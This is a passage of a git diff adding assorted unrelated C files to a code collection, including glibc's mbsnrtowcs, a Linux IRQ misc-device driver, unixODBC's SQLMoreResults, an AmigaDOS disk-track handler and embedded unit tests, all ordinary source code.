+     int pid;
+     int sig;
+{
+  int ret;
+
+  errno = 0;
+  ret = _kill (pid, sig);
+  if (errno != 0)
+    ptr->_errno = errno;
+  return ret;
+}
+
+/*
+FUNCTION
+	<<_getpid_r>>---Reentrant version of getpid
+	
+INDEX
+	_getpid_r
+
+ANSI_SYNOPSIS
+	#include <reent.h>
+	int _getpid_r(struct _reent *<[ptr]>);
+
+TRAD_SYNOPSIS
+	#include <reent.h>
+	int _getpid_r(<[ptr]>)
+	struct _reent *<[ptr]>;
+
+DESCRIPTION
+	This is a reentrant version of <<getpid>>.  It
+	takes a pointer to the global data block, which holds
+	<<errno>>.
+
+	We never need <<errno>>, of course, but for consistency we
+	still must have the reentrant pointer argument.
+*/
+
+int
+_getpid_r (ptr)
+     struct _reent *ptr;
+{
+  int ret;
+  ret = _getpid ();
+  return ret;
+}
+
+#endif /* ! defined (REENTRANT_SYSCALLS_PROVIDED) */
diff --git a/pool/shard001/C/0025699_mbsnrtowcs.c b/pool/shard001/C/0025699_mbsnrtowcs.c
new file mode 100644
index 0000000000000000000000000000000000000000..fc8396c00dc074a47a0bc7ad2d6ea4b6d71e6e96
--- /dev/null
+++ b/pool/shard001/C/0025699_mbsnrtowcs.c
@@ -0,0 +1,148 @@
+/* Copyright (C) 1996-2000, 2002, 2005, 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Ulrich Drepper <drepper@gnu.org>, 1996.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, see
+   <http://www.gnu.org/licenses/>.  */
+
+#include <assert.h>
+#include <dlfcn.h>
+#include <errno.h>
+#include <gconv.h>
+#include <string.h>
+#include <wchar.h>
+#include <wcsmbsload.h>
+
+#include <sysdep.h>
+
+#ifndef EILSEQ
+# define EILSEQ EINVAL
+#endif
+
+
+/* This is the private state used if PS is NULL.  */
+static mbstate_t state;
+
+/* This is a non-standard function but it is very useful in the
+   implementation of stdio because we have to deal with unterminated
+   buffers.  At most NMC bytes will be converted.  */
+size_t
+__mbsnrtowcs (dst, src, nmc, len, ps)
+     wchar_t *dst;
+     const char **src;
+     size_t nmc;
+     size_t len;
+     mbstate_t *ps;
+{
+  const unsigned char *srcend;
+  struct __gconv_step_data data;
+  size_t result;
+  int status;
+  struct __gconv_step *towc;
+  size_t dummy;
+  const struct gconv_fcts *fcts;
+
+  /* Tell where we want the result.  */
+  data.__invocation_counter = 0;
+  data.__internal_use = 1;
+  data.__flags = __GCONV_IS_LAST;
+  data.__statep = ps ?: &state;
+  data.__trans = NULL;
+
+  if (nmc == 0)
+    return 0;
+  srcend = (const unsigned char *) *src + __strnlen (*src, nmc - 1) + 1;
+
+  /* Get the conversion functions.  */
+  fcts = get_gconv_fcts (_NL_CURRENT_DATA (LC_CTYPE));
+
+  /* Get the structure with the function pointers.  */
+  towc = fcts->towc;
+  __gconv_fct fct = towc->__fct;
+#ifdef PTR_DEMANGLE
+  if (towc->__shlib_handle != NULL)
+    PTR_DEMANGLE (fct);
+#endif
+
+  /* We have to handle DST == NULL special.  */
+  if (dst == NULL)
+    {
+      mbstate_t temp_state;
+      wchar_t buf[64];		/* Just an arbitrary size.  */
+      const unsigned char *inbuf = (const unsigned char *) *src;
+
+      temp_state = *data.__statep;
+      data.__statep = &temp_state;
+
+      result = 0;
+      data.__outbufend = (unsigned char *) buf + sizeof (buf);
+      do
+	{
+	  data.__outbuf = (unsigned char *) buf;
+
+	  status = DL_CALL_FCT (fct, (towc, &data, &inbuf, srcend, NULL,
+				      &dummy, 0, 1));
+
+	  result += (wchar_t *) data.__outbuf - buf;
+	}
+      while (status == __GCONV_FULL_OUTPUT);
+
+      if ((status == __GCONV_OK || status == __GCONV_EMPTY_INPUT)
+	  && ((wchar_t *) data.__outbuf)[-1] == L'\0')
+	/* Don't count the NUL character in.  */
+	--result;
+    }
+  else
+    {
+      /* This code is based on the safe assumption that all internal
+	 multi-byte encodings use the NUL byte only to mark the end
+	 of the string.  */
+      data.__outbuf = (unsigned char *) dst;
+      data.__outbufend = data.__outbuf + len * sizeof (wchar_t);
+
+      status = DL_CALL_FCT (fct,
+			    (towc, &data, (const unsigned char **) src, srcend,
+			     NULL, &dummy, 0, 1));
+
+      result = (wchar_t *) data.__outbuf - dst;
+
+      /* We have to determine whether the last character converted
+	 is the NUL character.  */
+      if ((status == __GCONV_OK || status == __GCONV_EMPTY_INPUT)
+	  && (assert (result > 0),
+	      ((wchar_t *) dst)[result - 1] == L'\0'))
+	{
+	  assert (__mbsinit (data.__statep));
+	  *src = NULL;
+	  --result;
+	}
+    }
+
+  /* There must not be any problems with the conversion but illegal input
+     characters.  */
+  assert (status == __GCONV_OK || status == __GCONV_EMPTY_INPUT
+	  || status == __GCONV_ILLEGAL_INPUT
+	  || status == __GCONV_INCOMPLETE_INPUT
+	  || status == __GCONV_FULL_OUTPUT);
+
+  if (status != __GCONV_OK && status != __GCONV_FULL_OUTPUT
+      && status != __GCONV_EMPTY_INPUT && status != __GCONV_INCOMPLETE_INPUT)
+    {
+      result = (size_t) -1;
+      __set_errno (EILSEQ);
+    }
+
+  return result;
+}
+weak_alias (__mbsnrtowcs, mbsnrtowcs)
diff --git a/pool/shard001/C/0025702_TestMotorInitialise.c b/pool/shard001/C/0025702_TestMotorInitialise.c
new file mode 100644
index 0000000000000000000000000000000000000000..88823c9be4d9a3bd1c6f87c34c8fc495140cc171
--- /dev/null
+++ b/pool/shard001/C/0025702_TestMotorInitialise.c
@@ -0,0 +1,91 @@
+#include <xc.h>
+#include <stdint.h>
+#include <unity.h>
+
+#include "Platform/Event.h"
+#include "Platform/Motor.h"
+
+#include "MotorFixture.h"
+
+#include "../../Fixture.h"
+#include "../../NonDeterminism.h"
+
+TEST_FILE("Platform/Motor/MotorInitialise.c")
+TEST_FILE("Platform/Motor/MotorEnableDisable.c")
+TEST_FILE("Platform/Motor/MotorOnOff.c")
+
+void onBeforeTest(void)
+{
+	motorFixtureSetUp();
+}
+
+void onAfterTest(void)
+{
+	motorFixtureTearDown();
+}
+
+void test_motorInitialise_called_expectMotorPortCPinsAreAllOutputs(void)
+{
+	static const uint8_t usedPins =
+		_TRISC_TRISC2_MASK |
+		_TRISC_TRISC3_MASK |
+		_TRISC_TRISC6_MASK |
+		_TRISC_TRISC7_MASK;
+
+	TRISC = anyByteWithMaskSet(usedPins);
+	uint8_t originalTrisc = TRISC;
+	motorInitialise();
+	TEST_ASSERT_EQUAL_UINT8(originalTrisc & ~usedPins, TRISC);
+}
+
+void test_motorInitialise_called_expectMotorCurrentSensePinIsOutput(void)
+{
+	TRISB = anyByteWithMaskSet(_TRISB_TRISB1_MASK);
+	uint8_t originalTrisb = TRISB;
+	motorInitialise();
+	TEST_ASSERT_EQUAL_UINT8(originalTrisb & ~_TRISB_TRISB1_MASK, TRISB);
+}
+
+void test_motorInitialise_called_expectMotorPortCPinsAreAllDigital(void)
+{
+	static const uint8_t usedPins =
+		_ANSELC_ANSC2_MASK |
+		_ANSELC_ANSC3_MASK |
+		_ANSELC_ANSC6_MASK |
+		_ANSELC_ANSC7_MASK;
+
+	ANSELC = anyByteWithMaskSet(usedPins);
+	uint8_t originalAnselc = ANSELC;
+	motorInitialise();
+	TEST_ASSERT_EQUAL_UINT8(originalAnselc & ~usedPins, ANSELC);
+}
+
+void test_motorInitialise_called_expectMotorCurrentSensePinIsAnalogue(void)
+{
+	ANSELB = anyByteWithMaskClear(_ANSELB_ANSB1_MASK);
+	uint8_t originalAnselb = ANSELB;
+	motorInitialise();
+	TEST_ASSERT_EQUAL_UINT8(originalAnselb | _ANSELB_ANSB1_MASK, ANSELB);
+}
+
+void test_motorInitialise_called_expectMotorPortCPinsAreAllLow(void)
+{
+	static const uint8_t usedPins =
+		_LATC_LATC2_MASK |
+		_LATC_LATC3_MASK |
+		_LATC_LATC6_MASK |
+		_LATC_LATC7_MASK;
+
+	LATC = anyByteWithMaskSet(usedPins);
+	uint8_t originalLatc = LATC;
+	motorInitialise();
+	TEST_ASSERT_EQUAL_UINT8(originalLatc & ~usedPins, LATC);
+}
+
+void test_motorInitialise_called_expectMotorCurrentSensePinIsLow(void)
+{
+	LATB = anyByteWithMaskSet(_LATB_LATB1_MASK);
+	uint8_t originalLATB = LATB;
+	motorInitialise();
+	TEST_ASSERT_EQUAL_UINT8(originalLATB & ~_LATB_LATB1_MASK, LATB);
+}
diff --git a/pool/shard001/C/0025706_slaveirq.c b/pool/shard001/C/0025706_slaveirq.c
new file mode 100644
index 0000000000000000000000000000000000000000..70239920144e6c868b5bf24359cb9dbc50d6172c
--- /dev/null
+++ b/pool/shard001/C/0025706_slaveirq.c
@@ -0,0 +1,272 @@
+/*
+ $License:
+    Copyright (C) 2010 InvenSense Corporation, All Rights Reserved.
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+  $
+ */
+#include <linux/interrupt.h>
+#include <linux/module.h>
+#include <linux/moduleparam.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/stat.h>
+#include <linux/irq.h>
+#include <linux/signal.h>
+#include <linux/miscdevice.h>
+#include <linux/i2c.h>
+#include <linux/i2c-dev.h>
+#include <linux/poll.h>
+
+#include <linux/errno.h>
+#include <linux/fs.h>
+#include <linux/mm.h>
+#include <linux/sched.h>
+#include <linux/wait.h>
+#include <linux/uaccess.h>
+#include <linux/io.h>
+#include <linux/wait.h>
+#include <linux/slab.h>
+
+#include "mpu.h"
+#include "slaveirq.h"
+#include "mldl_cfg.h"
+#include "mpu-i2c.h"
+
+/* function which gets slave data and sends it to SLAVE */
+
+struct slaveirq_dev_data {
+	struct miscdevice dev;
+	struct i2c_client *slave_client;
+	struct mpuirq_data data;
+	wait_queue_head_t slaveirq_wait;
+	int irq;
+	int pid;
+	int data_ready;
+	int timeout;
+};
+
+/* The following depends on patch fa1f68db6ca7ebb6fc4487ac215bffba06c01c28
+ * drivers: misc: pass miscdevice pointer via file private data
+ */
+static int slaveirq_open(struct inode *inode, struct file *file)
+{
+	/* Device node is availabe in the file->private_data, this is
+	 * exactly what we want so we leave it there */
+	struct slaveirq_dev_data *data =
+		container_of(file->private_data, struct slaveirq_dev_data, dev);
+
+	dev_dbg(data->dev.this_device,
+		"%s current->pid %d\n", __func__, current->pid);
+	data->pid = current->pid;
+	return 0;
+}
+
+static int slaveirq_release(struct inode *inode, struct file *file)
+{
+	struct slaveirq_dev_data *data =
+		container_of(file->private_data, struct slaveirq_dev_data, dev);
+	dev_dbg(data->dev.this_device, "slaveirq_release\n");
+	return 0;
+}
+
+/* read function called when from /dev/slaveirq is read */
+static ssize_t slaveirq_read(struct file *file,
+			   char *buf, size_t count, loff_t *ppos)
+{
+	int len, err;
+	struct slaveirq_dev_data *data =
+		container_of(file->private_data, struct slaveirq_dev_data, dev);
+
+	if (!data->data_ready &&
+		data->timeout &&
+		!(file->f_flags & O_NONBLOCK)) {
+		wait_event_interruptible_timeout(data->slaveirq_wait,
+						 data->data_ready,
+						 data->timeout);
+	}
+
+	if (data->data_ready && NULL != buf
+	    && count >= sizeof(data->data)) {
+		err = copy_to_user(buf, &data->data, sizeof(data->data));
+		data->data.data_type = 0;
+	} else {
+		return 0;
+	}
+	if (err != 0) {
+		dev_err(data->dev.this_device,
+			"Copy to user returned %d\n", err);
+		return -EFAULT;
+	}
+	data->data_ready = 0;
+	len = sizeof(data->data);
+	return len;
+}
+
+unsigned int slaveirq_poll(struct file *file, struct poll_table_struct *poll)
+{
+	int mask = 0;
+	struct slaveirq_dev_data *data =
+		container_of(file->private_data, struct slaveirq_dev_data, dev);
+
+	poll_wait(file, &data->slaveirq_wait, poll);
+	if (data->data_ready)
+		mask |= POLLIN | POLLRDNORM;
+	return mask;
+}
+
+/* ioctl - I/O control */
+static long slaveirq_ioctl(struct file *file,
+			   unsigned int cmd, unsigned long arg)
+{
+	int retval = 0;
+	int tmp;
+	struct slaveirq_dev_data *data =
+		container_of(file->private_data, struct slaveirq_dev_data, dev);
+
+	switch (cmd) {
+	case SLAVEIRQ_SET_TIMEOUT:
+		data->timeout = arg;
+		break;
+
+	case SLAVEIRQ_GET_INTERRUPT_CNT:
+		tmp = data->data.interruptcount - 1;
+		if (data->data.interruptcount > 1)
+			data->data.interruptcount = 1;
+
+		if (copy_to_user((int *) arg, &tmp, sizeof(int)))
+			return -EFAULT;
+		break;
+	case SLAVEIRQ_GET_IRQ_TIME:
+		if (copy_to_user((int *) arg, &data->data.irqtime,
+				 sizeof(data->data.irqtime)))
+			return -EFAULT;
+		data->data.irqtime = 0;
+		break;
+	default:
+		retval = -EINVAL;
+	}
+	return retval;
+}
+
+static irqreturn_t slaveirq_handler(int irq, void *dev_id)
+{
+	struct slaveirq_dev_data *data = (struct slaveirq_dev_data *)dev_id;
+	static int mycount;
+	struct timeval irqtime;
+	mycount++;
+
+	data->data.interruptcount++;
+
+	/* wake up (unblock) for reading data from userspace */
+	/* and ignore first interrupt generated in module init */
+	data->data_ready = 1;
+
+	do_gettimeofday(&irqtime);
+	data->data.irqtime = (((long long) irqtime.tv_sec) << 32);
+	data->data.irqtime += irqtime.tv_usec;
+	data->data.data_type |= 1;
+
+	wake_up_interruptible(&data->slaveirq_wait);
+
+	return IRQ_HANDLED;
+
+}
+
+/* define which file operations are supported */
+static const struct file_operations slaveirq_fops = {
+	.owner = THIS_MODULE,
+	.read = slaveirq_read,
+	.poll = slaveirq_poll,
+
+#if HAVE_COMPAT_IOCTL
+	.compat_ioctl = slaveirq_ioctl,
+#endif
+#if HAVE_UNLOCKED_IOCTL
+	.unlocked_ioctl = slaveirq_ioctl,
+#endif
+	.open = slaveirq_open,
+	.release = slaveirq_release,
+};
+
+int slaveirq_init(struct i2c_adapter *slave_adapter,
+		  struct ext_slave_platform_data *pdata,
+		  char *name)
+{
+
+	int res;
+	struct slaveirq_dev_data *data;
+
+	if (!pdata->irq)
+		return -EINVAL;
+
+	pdata->irq_data = kzalloc(sizeof(*data),
+				GFP_KERNEL);
+	data = (struct slaveirq_dev_data *) pdata->irq_data;
+	if (!data)
+		return -ENOMEM;
+
+	data->dev.minor = MISC_DYNAMIC_MINOR;
+	data->dev.name = name;
+	data->dev.fops = &slaveirq_fops;
+	data->irq = pdata->irq;
+	data->pid = 0;
+	data->data_ready = 0;
+	data->timeout = 0;
+
+	res = request_irq(data->irq, slaveirq_handler, IRQF_TRIGGER_RISING,
+			  data->dev.name, data);
+
+	if (res) {
+		dev_err(&slave_adapter->dev,
+			"myirqtest: cannot register IRQ %d\n",
+			data->irq);
+		goto out_request_irq;
+	}
+
+	res = misc_register(&data->dev);
+	if (res < 0) {
+		dev_err(&slave_adapter->dev,
+			"misc_register returned %d\n",
+			res);
+		goto out_misc_register;
+	}
+
+	init_waitqueue_head(&data->slaveirq_wait);
+	return res;
+
+out_misc_register:
+	free_irq(data->irq, data);
+out_request_irq:
+	kfree(pdata->irq_data);
+	pdata->irq_data = NULL;
+
+	return res;
+}
+
+void slaveirq_exit(struct ext_slave_platform_data *pdata)
+{
+	struct slaveirq_dev_data *data = pdata->irq_data;
+
+	if (!pdata->irq_data || data->irq <= 0)
+		return;
+
+	dev_info(data->dev.this_device, "Unregistering %s\n",
+		 data->dev.name);
+
+	free_irq(data->irq, data);
+	misc_deregister(&data->dev);
+	kfree(pdata->irq_data);
+	pdata->irq_data = NULL;
+}
diff --git a/pool/shard001/C/0025709_kickoff2.c b/pool/shard001/C/0025709_kickoff2.c
new file mode 100644
index 0000000000000000000000000000000000000000..f339dd70a3fee3d0b464d1bb24d5c447492af8e6
--- /dev/null
+++ b/pool/shard001/C/0025709_kickoff2.c
@@ -0,0 +1,76 @@
+/*
+ * disk/kickoff2.c
+ * 
+ * AmigaDOS-based long-track protection.
+ * 
+ * Written in 2012 by Keir Fraser
+ * 
+ * Track is 5312 MFM bits longer than normal.
+ * The track gap must have two discontinuities, including the write splice.
+ * The best way to do this is to write an offset or different pattern in
+ * each of these three sections. For now, we create an explicit discontinuity
+ * by extending the final sector, and optimistically rely on the write splice
+ * for the other!
+ *  
+ * To be precise, the last sector is extended with the same footer found in
+ * SPS #2191. The remainder of the track is stuffed with 0x00 filler:
+ *  Decoded contents: 0x00 (130 times), 0xf0
+ * 
+ * TRKTYP_kickoff2 data layout:
+ *  As AmigaDOS
+ */
+
+#include <libdisk/util.h>
+#include <private/disk.h>
+
+static void *kickoff2_write_raw(
+    struct disk *d, unsigned int tracknr, struct stream *s)
+{
+    struct track_info *ti = &d->di->track[tracknr];
+    char *ablk;
+
+    init_track_info(ti, TRKTYP_amigados);
+    ablk = handlers[TRKTYP_amigados]->write_raw(d, tracknr, s);
+    if ((ablk == NULL) || (ti->type != TRKTYP_amigados)) {
+        memfree(ablk);
+        return NULL;
+    }
+
+    stream_next_index(s);
+    if (s->track_len_bc >= 104500) {
+        init_track_info(ti, TRKTYP_kickoff2);
+        ti->total_bits += 5312;
+    }
+
+    return ablk;
+}
+
+static void kickoff2_read_raw(
+    struct disk *d, unsigned int tracknr, struct tbuf *tbuf)
+{
+    unsigned int i;
+
+    handlers[TRKTYP_amigados]->read_raw(d, tracknr, tbuf);
+
+    /* Extend the last sector. */
+    for (i = 0; i < 130; i++)
+        tbuf_bits(tbuf, SPEED_AVG, bc_mfm, 8, 0x00);
+    tbuf_bits(tbuf, SPEED_AVG, bc_mfm, 8, 0xf0);
+}
+
+struct track_handler kickoff2_handler = {
+    .bytes_per_sector = 512,
+    .nr_sectors = 11,
+    .write_raw = kickoff2_write_raw,
+    .read_raw = kickoff2_read_raw
+};
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "Linux"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/pool/shard001/C/0025713_SQLMoreResults.c b/pool/shard001/C/0025713_SQLMoreResults.c
new file mode 100644
index 0000000000000000000000000000000000000000..3ddc50f1073da71a894b368f2aaf66c7c239dea0
--- /dev/null
+++ b/pool/shard001/C/0025713_SQLMoreResults.c
@@ -0,0 +1,324 @@
+/*********************************************************************
+ *
+ * This is based on code created by Peter Harvey,
+ * (pharvey@codebydesign.com).
+ *
+ * Modified and extended by Nick Gorham
+ * (nick@lurcher.org).
+ *
+ * Any bugs or problems should be considered the fault of Nick and not
+ * Peter.
+ *
+ * copyright (c) 1999 Nick Gorham
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *
+ **********************************************************************
+ *
+ * $Id: SQLMoreResults.c,v 1.8 2009/02/18 17:59:08 lurcher Exp $
+ *
+ * $Log: SQLMoreResults.c,v $
+ * Revision 1.8  2009/02/18 17:59:08  lurcher
+ * Shift to using config.h, the compile lines were making it hard to spot warnings
+ *
+ * Revision 1.7  2006/03/08 09:18:41  lurcher
+ * fix silly typo that was using sizeof( SQL_WCHAR ) instead of SQLWCHAR
+ *
+ * Revision 1.6  2003/12/19 16:25:38  lurcher
+ *
+ * Fix incorrect state in SQLMoreResults.c
+ *
+ * Revision 1.5  2003/10/30 18:20:46  lurcher
+ *
+ * Fix broken thread protection
+ * Remove SQLNumResultCols after execute, lease S4/S% to driver
+ * Fix string overrun in SQLDriverConnect
+ * Add initial support for Interix
+ *
+ * Revision 1.4  2003/01/27 15:01:01  lurcher
+ *
+ * On error from SQLMoreResults DONT change to S1
+ *
+ * Revision 1.3  2002/12/05 17:44:31  lurcher
+ *
+ * Display unknown return values in return logging
+ *
+ * Revision 1.2  2002/08/15 08:10:33  lurcher
+ *
+ * Couple of small fixes from John L Miller
+ *
+ * Revision 1.1.1.1  2001/10/17 16:40:06  lurcher
+ *
+ * First upload to SourceForge
+ *
+ * Revision 1.2  2001/04/12 17:43:36  nick
+ *
+ * Change logging and added autotest to odbctest
+ *
+ * Revision 1.1.1.1  2000/09/04 16:42:52  nick
+ * Imported Sources
+ *
+ * Revision 1.9  2000/06/20 12:44:00  ngorham
+ *
+ * Fix bug that caused a success with info message from SQLExecute or
+ * SQLExecDirect to be lost if used with a ODBC 3 driver and the application
+ * called SQLGetDiagRec
+ *
+ * Revision 1.8  2000/06/16 16:52:18  ngorham
+ *
+ * Stop info messages being lost when calling SQLExecute etc on ODBC 3
+ * drivers, the SQLNumResultCols were clearing the error before
+ * function return had a chance to get to them
+ *
+ * Revision 1.7  1999/11/13 23:41:00  ngorham
+ *
+ * Alter the way DM logging works
+ * Upgrade the Postgres driver to 6.4.6
+ *
+ * Revision 1.6  1999/10/24 23:54:18  ngorham
+ *
+ * First part of the changes to the error reporting
+ *
+ * Revision 1.5  1999/09/21 22:34:25  ngorham
+ *
+ * Improve performance by removing unneeded logging calls when logging is
+ * disabled
+ *
+ * Revision 1.4  1999/07/10 21:10:16  ngorham
+ *
+ * Adjust error sqlstate from driver manager, depending on requested
+ * version (ODBC2/3)
+ *
+ * Revision 1.3  1999/07/04 21:05:08  ngorham
+ *
+ * Add LGPL Headers to code
+ *
+ * Revision 1.2  1999/06/30 23:56:55  ngorham
+ *
+ * Add initial thread safety code
+ *
+ * Revision 1.1.1.1  1999/05/29 13:41:07  sShandyb
+ * first go at it
+ *
+ * Revision 1.1.1.1  1999/05/27 18:23:18  pharvey
+ * Imported sources
+ *
+ * Revision 1.2  1999/05/03 19:50:43  nick
+ * Another check point
+ *
+ * Revision 1.1  1999/04/25 23:06:11  nick
+ * Initial revision
+ *
+ *
+ **********************************************************************/
+
+#include <config.h>
+#include "drivermanager.h"
+
+static char const rcsid[]= "$RCSfile: SQLMoreResults.c,v $ $Revision: 1.8 $";
+
+SQLRETURN SQLMoreResults( SQLHSTMT statement_handle )
+{
+    DMHSTMT statement = (DMHSTMT) statement_handle;
+    SQLRETURN ret;
+    SQLCHAR s1[ 100 + LOG_MESSAGE_LEN ];
+
+    /*
+     * check statement
+     */
+
+    if ( !__validate_stmt( statement ))
+    {
+        dm_log_write( __FILE__, 
+                    __LINE__, 
+                    LOG_INFO, 
+                    LOG_INFO, 
+                    "Error: SQL_INVALID_HANDLE" );
+
+        return SQL_INVALID_HANDLE;
+    }
+
+    function_entry( statement );
+
+    if ( log_info.log_flag )
+    {
+        sprintf( statement -> msg, "\n\t\tEntry:\
+\n\t\t\tStatement = %p",
+                statement );
+
+        dm_log_write( __FILE__, 
+                __LINE__, 
+                LOG_INFO, 
+                LOG_INFO, 
+                statement -> msg );
+    }
+
+    thread_protect( SQL_HANDLE_STMT, statement );
+
+    /*
+     * check states
+     */
+    if ( statement -> state == STATE_S1 ||
+            statement -> state == STATE_S2 ||
+            statement -> state == STATE_S3 )
+    {
+        sprintf( statement -> msg, 
+                "\n\t\tExit:[%s]",
+                    __get_return_status( SQL_NO_DATA, s1 ));
+
+        dm_log_write( __FILE__, 
+                __LINE__, 
+                LOG_INFO, 
+                LOG_INFO, 
+                statement -> msg );
+
+        return function_return( SQL_HANDLE_STMT, statement, SQL_NO_DATA );
+    }
+    else if ( statement -> state == STATE_S8 ||
+            statement -> state == STATE_S9 ||
+            statement -> state == STATE_S10 )
+    {
+        dm_log_write( __FILE__, 
+                __LINE__, 
+                LOG_INFO, 
+                LOG_INFO, 
+                "Error: HY010" );
+
+        __post_internal_error( &statement -> error,
+                ERROR_HY010, NULL,
+                statement -> connection -> environment -> requested_version );
+
+        return function_return( SQL_HANDLE_STMT, statement, SQL_ERROR );
+    }
+    else if ( statement -> state == STATE_S11 ||
+            statement -> state == STATE_S12 )
+    {
+        if ( statement -> interupted_func != SQL_API_SQLMORERESULTS )
+        {
+            dm_log_write( __FILE__, 
+                    __LINE__, 
+                    LOG_INFO, 
+                    LOG_INFO, 
+                    "Error: HY010" );
+
+            __post_internal_error( &statement -> error,
+                    ERROR_HY010, NULL,
+                    statement -> connection -> environment -> requested_version );
+
+            return function_return( SQL_HANDLE_STMT, statement, SQL_ERROR );
+        }
+    }
+
+#ifdef NR_PROBE
+    if ( !CHECK_SQLMORERESULTS( statement -> connection ) ||
+            !CHECK_SQLNUMRESULTCOLS( statement -> connection ))
+#else
+    if ( !CHECK_SQLMORERESULTS( statement -> connection ))
+#endif
+    {
+        dm_log_write( __FILE__, 
+                __LINE__, 
+                LOG_INFO, 
+                LOG_INFO, 
+                "Error: IM001" );
+
+        __post_internal_error( &statement -> error,
+                ERROR_IM001, NULL,
+                statement -> connection -> environment -> requested_version );
+
+        return function_return( SQL_HANDLE_STMT, statement, SQL_ERROR );
+    }
+
+    ret = SQLMORERESULTS( statement -> connection ,
+            statement -> driver_stmt );
+
+    if ( SQL_SUCCEEDED( ret ))
+    { 
+#ifdef NR_PROBE
+        /*
+         * grab any errors
+         */
+
+        if ( ret == SQL_SUCCESS_WITH_INFO )
+        {
+            function_return_ex( IGNORE_THREAD, statement, ret, TRUE );
+        }
+
+        SQLNUMRESULTCOLS( statement -> connection,
+                statement -> driver_stmt, &statement -> numcols );
+
+        if ( statement -> numcols == 0 )
+        {
+            statement -> state = STATE_S4;
+        }
+        else
+        {
+            statement -> state = STATE_S5;
+        }
+#else
+        /*
+         * We don't know for sure
+         */
+        statement -> hascols = 0;
+        statement -> state = STATE_S5;
+#endif
+    }
+    else if ( ret == SQL_STILL_EXECUTING )
+    {
+        statement -> interupted_func = SQL_API_SQLEXECUTE;
+        if ( statement -> state != STATE_S11 &&
+                statement -> state != STATE_S12 )
+            statement -> state = STATE_S11;
+    }
+    else if ( ret == SQL_NO_DATA )
+    {
+        if ( statement -> prepared )
+        {
+            if ( statement -> state == STATE_S4 )
+            {
+                statement -> state = STATE_S2;
+            }
+            else
+            {
+                statement -> state = STATE_S3;
+            }
+        }
+        else
+        {
+            statement -> state = STATE_S1;
+        }
+    }
+    else
+    {
+        /*
+         * Leave the state where it is 
+         */
+    }
+
+    if ( log_info.log_flag )
+    {
+        sprintf( statement -> msg, 
+                "\n\t\tExit:[%s]",
+                    __get_return_status( ret, s1 ));
+
+        dm_log_write( __FILE__, 
+                __LINE__, 
+                LOG_INFO, 
+                LOG_INFO, 
+                statement -> msg );
+    }
+
+    return function_return( SQL_HANDLE_STMT, statement, ret );
+}
diff --git a/pool/shard001/C/0025729_sum_digits.c b/pool/shard001/C/0025729_sum_digits.c
new file mode 100644
index 0000000000000000000000000000000000000000..239786ef17f5fede76485ebb369234aab1e7ae8d
--- /dev/null
+++ b/pool/shard001/C/0025729_sum_digits.c
@@ -0,0 +1,21 @@
+#include <stdio.h>
+
+int main(int argc, char *argv[]) {
+	FILE *fp;
+	int n = 0;
+	char c;
+
+	if (argc != 2) {
+		printf("Usage: %s [FILE]\n", argv[0]);
+		return 1;
+	}
+	fp = fopen(*++argv, "r");
+	while ((c = getc(fp)) != EOF || n > 0)
+		if (c == '\n' || c == EOF) {
+			printf("%d\n", n);
+			n = 0;
+		} else {
+			n += c - '0';
+		}
+	return 0;
+}
diff --git a/pool/shard001/C/0025732_sse-cvtss2si-1.c b/pool/shard001/C/0025732_sse-cvtss2si-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..3f8c549c96224d75e6a9b6fd51babdac417a7e24
--- /dev/null
+++ b/pool/shard001/C/0025732_sse-cvtss2si-1.c
@@ -0,0 +1,37 @@
+/* { dg-do run } */
+/* { dg-options "-O2 -msse" } */
+/* { dg-require-effective-target sse } */
+
+#ifndef CHECK_H
+#define CHECK_H "sse-check.h"
+#endif
+
+#ifndef TEST
+#define TEST sse_test
+#endif
+
+#include CHECK_H
+
+#include <xmmintrin.h>
+
+static int
+__attribute__((noinline, unused))
+test (__m128 p)
+{
+  return _mm_cvtss_si32 (p); 
+}
+
+static void
+TEST (void)
+{
+  union128 s1;
+  int d;
+  int e;
+   
+  s1.x = _mm_set_ps (24.43, 68.346, 43.35, 546.46);
+  d = test (s1.x); 
+  e = (int)s1.a[0];  
+
+  if (e != d)
+    abort ();
+}
diff --git a/pool/shard001/C/0025734_camera.c b/pool/shard001/C/0025734_camera.c
new file mode 100644
index 0000000000000000000000000000000000000000..8b3cdfbbb1c07274c8f4b99d32f0b73104d047b1
--- /dev/null
+++ b/pool/shard001/C/0025734_camera.c
@@ -0,0 +1,153 @@
+#include "camera.h"
+#include "gl_utils.h"
+#include <assert.h>
+
+mat4 P;
+mat4 V;
+// texture that secondary framebuffer will render to
+GLuint cam_mirror_tex;
+// secondary framebuffer
+GLuint cam_mirror_fb;
+
+bool cam_P_dirty = false;
+bool cam_V_dirty = false;
+bool is_forward_cam = true;
+
+vec3 cam_pos = vec3 (0.0f, 1.0f, 0.0f);
+float fovy = 67.5f;
